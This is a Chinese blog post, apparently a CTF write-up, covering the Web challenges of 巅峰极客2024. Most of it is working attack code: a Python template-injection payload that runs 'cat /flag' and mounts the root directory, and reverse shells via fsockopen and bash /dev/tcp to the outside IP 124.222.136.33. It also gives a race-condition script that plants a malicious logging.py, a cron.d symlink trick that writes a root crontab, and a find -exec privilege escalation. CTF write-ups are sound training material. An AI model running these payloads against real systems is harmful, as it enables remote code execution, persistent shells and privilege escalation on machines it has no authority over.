【Web】巅峰极客2024 部分题解

CSDN 2024-08-23 12:03:05 阅读 58

目录

EncirclingGame

GoldenHornKing 

php_online 

admin_Test


EncirclingGame

玩赢游戏就行

GoldenHornKing 

利用点在传入的app

 可以打python内存马

<code>/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app})

访问./flag

也可以挂载静态文件

<code>/calc?calc_req=lipsum.__globals__['__builtins__'].exec("from fastapi.staticfiles import StaticFiles;app.mount('/static', StaticFiles(directory='/'), name='static')", {"app": app})code>

访问./static/flag

php_online 

先起一个id为aaaaaaa1的沙箱,反弹shell

<code><?php system('php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh <&3 >&3 2>&3");\'');?>

再起一个id为aaaaaaa2的沙箱,使得/sandbox/aaaaaaa2存在

再在aaaaaaa1环境里运行sh脚本条件竞争让init.py里import的恶意logging.py存在

init.py 中的logging会优先应用同目录下的logging.py,而非logging三方库

<code>echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1338 0>&1\"')" > /tmp/logging.py

echo "while true; do" >> /tmp/exp.sh

echo " cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh

echo "done" >> /tmp/exp.sh

chmod +x /tmp/exp.sh

sh /tmp/exp.sh

运行sh脚本后再进入aaaaaaa2环境,随便传一个<?php echo 1;?>触发sudo -u www-data python3 init.py

运行恶意logging.py后反弹shell拿到www-data权限

<code>ps-aux

发现开着定时任务

开一个id为aaaaaaa3的沙箱

<code>ln -s /etc/cron.d /sandbox/aaaaaaa3

再软链接定时任务目录

最后在aaaaaaa3的沙箱传入phpcode

* * * * * root cat /flag > /tmp/flag

# <?php sleep(1000);?>

<?php sleep(1000);?>是为了避免rm *将/sandbox/aaaaaaa3/phpcode给瞬删,从而给定时任务运行充足的时间

admin_Test

扫出来./admin.html

访问./admin.html

 可以上传文件,可以执行命令

命令部分fuzz出来的可用字符为t * . /,一眼执行临时文件. /t*/*

参考无字母数字rce(ctfshow web入门56)_过滤所有字母和数字的rce-CSDN博客

 

可以命令执行

但没法读/flag,考虑提权

可以打find提权

<code>touch anyfile #必须要有这个文件

find anyfile -exec whoami \;

 



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。